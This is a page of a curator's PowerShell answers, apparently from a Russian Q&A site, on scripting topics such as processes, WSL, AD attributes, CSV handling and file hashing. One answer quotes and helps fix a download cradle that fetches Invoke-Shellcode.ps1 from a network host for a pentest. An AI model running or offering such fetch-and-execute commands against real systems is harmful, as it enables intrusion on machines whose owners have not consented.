Ответы пользователя по тегу PowerShell
  • Как запустить процесс в PowerShell с подгрузкой рабочей области?

    @MaxKozlov Куратор тега PowerShell
    Не очень понятно, что вы понимаете под рабочей областью и почему не грузятся встроенные модули, но мой хрустальный шар подсказывает, что вам надо установить рабочую папку
    Start-Process -FilePath "C:\QUIK_VTB_85\info.exe" -WorkingDirectory "C:\QUIK_VTB_85\"


    уж не знаю, насколько он прав

    p.s. у каждой встроенной команды powershell и у каждой хорошо написанной невстроенной тоже есть справка, например
    Start-Process -?
    там ещё есть множество интересных параметров
    Ответ написан
    Комментировать
  • Как получить состояние CRON WSL через PowerShell?

    @MaxKozlov Куратор тега PowerShell
    вы в курсе, что у wsl есть справка, которую можно вызвать как wsl -?
    Использование: wsl.exe [Argument] [Options...] [CommandLine]


    и, внезапно, wsl service cron status, выдаст вам то что надо

    Если нужна строка только про Active, можно добавить | Select-String Active
    Ответ написан
    7 комментариев
  • Где ошибка в цикле PowerShell?

    @MaxKozlov Куратор тега PowerShell
    фигурных скобок не хватает вокруг "net use"

    а вот так лучше никогда не пишите, это какой-то безумный бред преобразовывать $null в bool, а потом ещё сравнивать со строкой, которая внезапно тоже может быть null
    if (([bool] ($null)) -eq $NetDriveName )
    достаточно было бы
    if (-not $NetDriveName) {
      net use
    }


    и в цикле то же самое. -contains само по себе возвращает bool, ничего никуда преобразовывать не нужно. в крайнем случае преобразуется неявно
    Ответ написан
  • Как правильно конкатенировать массив-переменную из параметров в запуск утилиты вызываемой из powershell?

    @MaxKozlov Куратор тега PowerShell
    не надо ничего конкатенировать
    $params = 'some',  'parameters',  'here'
    & utility $params
    Ответ написан
    Комментировать
  • Удаленное управление WinRM?

    @MaxKozlov Куратор тега PowerShell
    Судя по "Stack: 2.0" у вас там powershell v2,
    Для начала поставьте 5.1

    А с кодировкой фигня получается из-за того, что все консольные программы используют не-unicode кодировку

    Обойти можно так, например
    Invoke-Command -ScriptBlock { cmd /c "chcp 65001 && ipconfig /all" } -ComputerName ...


    Минус будет такой, что если у вас сетевое соедниение названо по-русски, оно крокозябрми останется

    Или свой перекодировщик отдельный сделать, которым перекодировать весь вывод после получения
    Ответ написан
    Комментировать
  • Как узнать дату последнего использования учётной записи в AD?

    @MaxKozlov Куратор тега PowerShell
    Если посмотреть на доки
    атрибут Last-Logon
    Атрибут Last-Logon-Timestamp
    То там есть
    Значение нуля означает, что время последнего входа неизвестно.

    Фиг знает, почему оно может быть неизвестно, но это может быть ваш случай :)

    ну и эту ссылочку оставлю для тех, кто ещё не разобрался в нюансах
    Understanding the AD Account attributes - LastLogo...
    Ответ написан
  • Не работает команда в PowerShell. Что делать?

    @MaxKozlov Куратор тега PowerShell
    Если ваш скрипт лежит в той же папке, запускайте как ./Invoke-Shellcode.ps
    Если нет - где лежит, оттуда и запускайте.

    з.ы. и это, если получили ответ - отмечайте ответом
    Ответ написан
    Комментировать
  • Не работает команда в PowerShell. Что делать?

    @MaxKozlov Куратор тега PowerShell
    (New-Object Net.WebClient).DownloadString("http://192.168.0.14:8000/Invoke-Shellcode.ps1")

    помимо ненужного Invoke-Expression у вас ещё протокол не указан. точнее, скорее всего вы его удалили при редактировании, потому что в ошибке-то он есть :)

    p.s. пентест при таких вводных - не очень убедительно
    Ответ написан
    Комментировать
  • Почему powershell не реагирует на коды клавиш стрелок?

    @MaxKozlov Куратор тега PowerShell
    Это статейка про консоль, в которой объясняется что да как (там серия)

    Introducing the Windows Pseudo Console (ConPTY)

    А это пример самописного терминала, который таки реагирует на стрелку вверх 0x1b[A так, как вам бы хотелось, при отключении PSReadline
    Правда у него чуть другая проблема - на цвета не реагирует :) 0x1b[XXXXXm
    Описание (соседние примеры тоже полезны)
    Исходники
    Ответ написан
    Комментировать
  • Как удалить одинаковые файлы по подстроке с помощью Powershell?

    @MaxKozlov Куратор тега PowerShell
    Пропустить первые элементы в каждой группе ?
    Get-ChildItem "C:\Temp\files\*.txt"  | Group-Object {$_.Name.Substring(2)} | Foreach-Object { $_.Group | Select -Skip 1 }
    Ответ написан
    1 комментарий
  • Как в терминале реализовано перемещение курсора?

    @MaxKozlov Куратор тега PowerShell
    А теперь вопрос, правильно ли я понимаю, что при вводе например первого символа f из foobar фактически в powershell вводятся следующая последовательность: \b\b\b\bfhey1 ?

    Нет, вы неправильно понимаете.
    В powershell(а, точнее, в поток) уйдёт чистая строка. все перемещения курсора и тд не имеют никакого отношения к потокам ввода\вывода.
    В поток введённые данные отправятся после enter.
    Командная строка(терминал) - это куда более сложная сущность, чем просто комбинация потоков ввода и вывода.
    а конкретно в powershell это ещё и разбавляется встроенным модулем подсветки синтаксиса PSReadline

    P.S.
    И, если уж быть полностью корректным, то Write-Host - это именно вывод в хост(терминал), чисто в поток вывода powershell оно не попадает. Для вывода в поток есть Write-Output. А то, что вывел Write-Host, попадает в поток вывода, который вы, например, можете записать в файл, уже из терминала.

    Попробуйте в консоли Powershell:
    PS D:\> Write-Host 'tohost' > d:\111
    tohost
    PS D:\> Get-Content d:\111
    PS D:\> Write-Output 'tooutput' > d:\111
    PS D:\> Get-Content d:\111
    tooutput
    PS D:\>

    Разницу замечаете ?

    А теперь сравните результат с
    Powershell -Noprofile -Command "Write-Host 'tohost'; Write-Output 'tooutput' " > D:\111
    Powershell -Noprofile -Command "Get-Content d:\111"

    hint: полностью вывод попадает в файл только в последнем примере
    Ответ написан
    Комментировать
  • Как из Python отдать команды в PowerShell от имени администратора?

    @MaxKozlov Куратор тега PowerShell
    Вот тут есть метод запуска самого себя из под админа
    https://stackoverflow.com/a/41930586

    import ctypes, sys
    
    def is_admin():
        try:
            return ctypes.windll.shell32.IsUserAnAdmin()
        except:
            return False
    
    if is_admin():
        # Code of your program here
        print("I'm admin")
        input()
    else:
        # Re-run the program with admin rights
        ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)

    Берём отсюда последнюю строчку и вместо sys.executable ставим slmgr.vbs и тд
    или можно вместо 'i'm admin' вставить
    ctypes.windll.shell32.ShellExecuteW(None, "", "slmgr.vbs", "/ipk W269N-WFGWX-YVC9B-4J6C9-T83GX", None, 1)
    Ответ написан
    Комментировать
  • Как посмотреть, где лежит архивная копия базы данных?

    @MaxKozlov Куратор тега PowerShell
    Гугл подсказывает что примерно так
    foreach ($DatabaseName in $MyBase.Name) {
    
      $BackupPath = $smoserver.Databases['msdb'].ExecuteWithResults("SELECT TOP 1 backupmediafamily.physical_device_name FROM backupset JOIN backupmediafamily ON backupset.media_set_id = backupmediafamily.media_set_id WHERE backupset.database_name = '$($DatabaseName)' ORDER BY backupset.backup_start_date DESC")
    
      $BackupPath.Tables[0].physical_device_name
    }

    Может можно и оптимизировать, но, эти данные не привязаны к базе, а лежат именно в msdb
    Ответ написан
    Комментировать
  • Возможно ли автоматизировать такой ряд действий?

    @MaxKozlov Куратор тега PowerShell
    Приложения есть, например https://www.displayfusion.com/
    https://www.nirsoft.net/utils/multi_monitor_tool.html
    А встроенных возможностей нет
    Но, честно говоря, мне кажется, запустить нужное приложение и нажать Win+Up, Win+Shift+(Left/Right) не очень долго.
    Ответ написан
    Комментировать
  • Как проверить подключение к sql через powershell?

    @MaxKozlov Куратор тега PowerShell
    Записать результат как и в любом другом языке присвоение переменной
    Test-SqlConnection бы ещё посмотреть,
    впрочем, если оно с SO, например ( то, которое попроще, про return $true), то записать результат

    $result = Test-SQLConnection "Data Source=base;database=name;User ID=sa;Password=password;"
    #так там будет true/false
    New-Item -Path "C:\TbKassa\Bin" -Name "marker.txt" -ItemType "file" -Value $result -Force
    #а так - 1/0
    New-Item -Path "C:\TbKassa\Bin" -Name "marker.txt" -ItemType "file" -Value ([int]$result) -Force


    Ваша логика рвётся тут if $u = ( $true) { должно быть if ($u -eq $true) { или просто if ($u) {
    ну и в $u присвоить результат
    Ответ написан
    Комментировать
  • Как красиво объединить все значения в строках из второго столбца из CSV файла, если значение в первом столбце совпадает?

    @MaxKozlov Куратор тега PowerShell
    По-моему самое простое и изящное - Group-Object
    $csv = Import-Csv ....
    foreach ($group in ($csv | Group-Object -Property ComputerName)) {
      $computerName = $group.Name
      $data = $group.Group # Оригинальные объекты.  Тут всегда массив, даже если из одного элемента
      #....
    }
    Ответ написан
    Комментировать
  • Как открыть доступ к папке?

    @MaxKozlov Куратор тега PowerShell
    Во первых, кроме прав на диск, есть права на шару, на системную шару с правами туго.
    Во вторых, для такого простого скрипта копирования вам хватит robocopy, оно ещё и побыстрее будет

    Создаёте на первом сервере шару Backup$ - даёте на неё (на шару) права своей сервисной учётке.
    и robocopy с /MAXAGE копируете

    Можно, если хочется и скрипт оставить, но шару надо сделать
    Ответ написан
    Комментировать
  • Как отредактировать csv файл с помощью powershell?

    @MaxKozlov Куратор тега PowerShell
    Стоит проверить что именно у вас долгое
    Import-csv вы никак не ускорите.
    А вот $dataColl - реальный кандидат на ускорение
    Проще всего использовать ArrayList вместо массива
    ...
    $dataColl = New-Object System.Collections.ArrayList
    foreach  ($Path in $Paths){
    ....
        [void]$dataColl.Add($dataObject)
      }
    }
    ...


    И вообще, массивы для коллекционирования более 1000 элементов - тормоза, потому что они каждый раз пересоздаются и копируются из старого в новый.

    Measure-Command { $a = @(); 1..1000 | %{ $a += $_ } }
    
        TotalMilliseconds : 40,3721
    
    Measure-Command { $a = New-Object System.Collections.ArrayList; 1..1000 | %{ [void]$a.Add($_) } }
    
        TotalMilliseconds : 18,5863
    
    # А для 10000 уже
       TotalMilliseconds : 2016,3737
      vs
       TotalMilliseconds : 57,6177


    p.s. Кстати да, Роман Безруков верно заметил, что новый массив создавать вообще не обязательно. Но информация выше сильно влияет на работу, так что оставлю :)
    Ответ написан
    Комментировать
  • Как заменить старые файлы сравнивая их хэш и время создания?

    @MaxKozlov Куратор тега PowerShell
    Используете Compare-Object и Where-Object
    $oldfile = Get-FileHash .\old\*
    $newfile = Get-FileHash .\new\*
    Compare-Object $oldfile $newfile -Property Hash -PassThru | 
       Where-Object { $_.SideIndicator -eq '<='  } |
       Foreach-Object { Copy-Item $_.Path  -Destination $Destination }

    Не знаю что и куда вам копировать, поэтому в примере, может быть, придётся поменять условие при SideIndicator

    Для рекурсивного сравнения надо сбор хешей сделать рекурсивным :)
    $oldfile =  Get-ChildItem .\old\*  -Recurse | Get-FileHash
    $newfile = Get-ChildItem .\new\* -Recurse | Get-FileHash
    Ответ написан
    4 комментария
  • Как добавить кнопку Inline Keyboard в Телеграм вторым рядом, используя PowerShell?

    @MaxKozlov Куратор тега PowerShell
    если я правильно понимаю, вам надо передавать кнопки по строкам
    ..
    $row1 = @($buttonsubcheck, $buttonsubtrial)
    $row2 = @($buttonsubback)
    $buttonssub = ($row1, $row2)
    ..
    Ответ написан